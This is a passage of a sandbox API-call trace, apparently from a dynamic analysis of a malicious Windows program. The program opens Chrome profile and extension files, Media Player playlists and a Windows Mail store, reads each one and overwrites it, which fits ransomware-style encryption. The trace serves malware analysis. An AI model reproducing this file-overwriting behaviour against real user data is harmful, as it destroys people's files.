lpUsedDefaultChar=0x0) returned 13 [0049.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.007] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.008] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x390e [0049.008] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.008] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x390e [0049.008] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.009] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0049.009] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.009] CloseHandle (hObject=0x1a8) returned 1 [0049.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.009] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.009] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x48f1 [0049.009] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.009] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.010] ReleaseMutex (hMutex=0x128) returned 1 [0049.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.010] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.015] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x38f1 [0049.016] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.028] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x38f1 [0049.028] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.028] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0049.028] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.028] CloseHandle (hObject=0x1a8) returned 1 [0049.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.029] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.029] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xc4 [0049.029] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.029] ReleaseMutex (hMutex=0x128) returned 1 [0049.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LOG", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0049.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LOG", cchWideChar=3, lpMultiByteStr=0x1e6aa2c, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOG", lpUsedDefaultChar=0x0) returned 3 [0049.029] ReadFile (in: hFile=0x1a8, lpBuffer=0x2602208, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2602208*, lpNumberOfBytesRead=0x2f4f2bc*=0xc4, lpOverlapped=0x0) returned 1 [0049.030] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0049.030] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x64c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x64c, lpOverlapped=0x0) returned 1 [0049.030] CloseHandle (hObject=0x1a8) returned 1 [0049.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.031] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.031] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8b43 [0049.032] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.032] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.032] ReleaseMutex (hMutex=0x128) returned 1 [0049.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Secure Preferences", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0049.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Secure Preferences", cchWideChar=18, lpMultiByteStr=0x1e78bcc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Secure Preferences", lpUsedDefaultChar=0x0) returned 18 [0049.032] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0049.034] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7b43 [0049.034] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.035] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7b43 [0049.035] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.036] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0049.036] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0049.036] CloseHandle (hObject=0x1a8) returned 1 [0049.036] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.036] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.036] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1082a [0049.036] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.036] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.036] ReleaseMutex (hMutex=0x128) returned 1 [0049.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Local State", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Local State", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Local State", lpUsedDefaultChar=0x0) returned 11 [0049.036] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0049.038] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf82a [0049.038] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.039] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf82a [0049.039] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.040] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0049.040] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0049.040] CloseHandle (hObject=0x1a8) returned 1 [0049.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.042] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.042] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x43 [0049.042] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.042] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.042] ReleaseMutex (hMutex=0x128) returned 1 [0049.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0049.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e62fcc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0049.042] ReadFile (in: hFile=0x1a8, lpBuffer=0x1eaad18, nNumberOfBytesToRead=0x43, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaad18*, lpNumberOfBytesRead=0x2f4f2bc*=0x43, lpOverlapped=0x0) returned 1 [0049.043] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0049.043] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5cb, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5cb, lpOverlapped=0x0) returned 1 [0049.043] CloseHandle (hObject=0x1a8) returned 1 [0049.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.044] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.044] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4f3 [0049.044] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.044] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.044] ReleaseMutex (hMutex=0x128) returned 1 [0049.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="03_Music_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0049.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="03_Music_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb2244, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="03_Music_rated_at_4_or_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0049.044] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x4f3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x2f4f2bc*=0x4f3, lpOverlapped=0x0) returned 1 [0049.046] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0049.046] WriteFile (in: hFile=0x1a8, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0xa7b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x2f4f2d0*=0xa7b, lpOverlapped=0x0) returned 1 [0049.046] CloseHandle (hObject=0x1a8) returned 1 [0049.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.047] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.047] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x414 [0049.047] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.047] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.047] ReleaseMutex (hMutex=0x128) returned 1 [0049.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="01_Music_auto_rated_at_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0049.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="01_Music_auto_rated_at_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb2244, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="01_Music_auto_rated_at_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0049.048] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da95f8, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da95f8*, lpNumberOfBytesRead=0x2f4f2bc*=0x414, lpOverlapped=0x0) returned 1 [0049.055] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0049.055] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de2e08*, nNumberOfBytesToWrite=0x99c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de2e08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x99c, lpOverlapped=0x0) returned 1 [0049.055] CloseHandle (hObject=0x1a8) returned 1 [0049.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.056] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.056] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x249 [0049.056] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.056] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.056] ReleaseMutex (hMutex=0x128) returned 1 [0049.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11_All_Pictures.wpl", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0049.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11_All_Pictures.wpl", cchWideChar=19, lpMultiByteStr=0x1e786cc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11_All_Pictures.wpl", lpUsedDefaultChar=0x0) returned 19 [0049.056] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2f4f2bc*=0x249, lpOverlapped=0x0) returned 1 [0049.315] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0049.315] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d1, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7d1, lpOverlapped=0x0) returned 1 [0049.315] CloseHandle (hObject=0x1a8) returned 1 [0049.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.091] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, 